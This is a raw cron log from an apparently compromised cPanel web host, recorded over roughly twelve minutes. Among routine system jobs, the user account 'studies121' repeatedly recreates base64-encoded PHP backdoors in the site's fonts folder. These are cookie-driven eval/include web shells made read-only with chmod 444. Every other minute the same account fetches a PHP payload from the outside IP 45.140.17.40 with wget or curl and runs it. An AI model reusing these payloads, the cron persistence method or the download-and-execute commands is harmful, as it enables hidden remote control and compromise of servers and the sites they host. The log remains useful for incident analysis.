Sep  3 00:32:01 ip-184-168-122-23 CROND[3671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:33:01 ip-184-168-122-23 CROND[3752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:33:01 ip-184-168-122-23 CROND[3754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:33:01 ip-184-168-122-23 CROND[3757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:33:01 ip-184-168-122-23 CROND[3758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:34:01 ip-184-168-122-23 CROND[3829]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:34:01 ip-184-168-122-23 CROND[3831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:34:01 ip-184-168-122-23 CROND[3830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:34:01 ip-184-168-122-23 CROND[3836]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:34:01 ip-184-168-122-23 CROND[3834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:35:01 ip-184-168-122-23 CROND[3932]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 00:35:01 ip-184-168-122-23 CROND[3934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:35:01 ip-184-168-122-23 CROND[3935]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:35:01 ip-184-168-122-23 CROND[3939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:35:01 ip-184-168-122-23 CROND[3940]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 00:35:01 ip-184-168-122-23 CROND[3936]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 00:35:01 ip-184-168-122-23 CROND[3937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:35:01 ip-184-168-122-23 CROND[3938]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 00:36:01 ip-184-168-122-23 CROND[4030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:36:01 ip-184-168-122-23 CROND[4031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:36:01 ip-184-168-122-23 CROND[4033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:36:01 ip-184-168-122-23 CROND[4034]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:36:01 ip-184-168-122-23 CROND[4035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:37:01 ip-184-168-122-23 CROND[4193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:37:01 ip-184-168-122-23 CROND[4195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:37:01 ip-184-168-122-23 CROND[4197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:37:01 ip-184-168-122-23 CROND[4196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:38:01 ip-184-168-122-23 CROND[4308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:38:01 ip-184-168-122-23 CROND[4310]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:38:01 ip-184-168-122-23 CROND[4311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:38:01 ip-184-168-122-23 CROND[4312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:38:01 ip-184-168-122-23 CROND[4313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:39:01 ip-184-168-122-23 CROND[4396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:39:01 ip-184-168-122-23 CROND[4398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:39:01 ip-184-168-122-23 CROND[4399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:39:01 ip-184-168-122-23 CROND[4400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:39:01 ip-184-168-122-23 CROND[4401]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 00:40:01 ip-184-168-122-23 CROND[4499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:40:01 ip-184-168-122-23 CROND[4500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:40:01 ip-184-168-122-23 CROND[4503]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 00:40:01 ip-184-168-122-23 CROND[4504]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:40:01 ip-184-168-122-23 CROND[4506]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:40:01 ip-184-168-122-23 CROND[4505]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 00:40:01 ip-184-168-122-23 CROND[4508]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 00:40:01 ip-184-168-122-23 CROND[4507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:41:01 ip-184-168-122-23 CROND[4595]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:41:01 ip-184-168-122-23 CROND[4597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:41:01 ip-184-168-122-23 CROND[4598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:41:01 ip-184-168-122-23 CROND[4599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:42:01 ip-184-168-122-23 CROND[4763]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:42:01 ip-184-168-122-23 CROND[4765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:42:01 ip-184-168-122-23 CROND[4768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:42:01 ip-184-168-122-23 CROND[4766]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:42:01 ip-184-168-122-23 CROND[4767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:43:01 ip-184-168-122-23 CROND[5001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:43:01 ip-184-168-122-23 CROND[5000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:43:01 ip-184-168-122-23 CROND[5003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:43:01 ip-184-168-122-23 CROND[5002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:44:02 ip-184-168-122-23 CROND[5096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:44:02 ip-184-168-122-23 CROND[5100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:44:02 ip-184-168-122-23 CROND[5098]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:44:02 ip-184-168-122-23 CROND[5099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
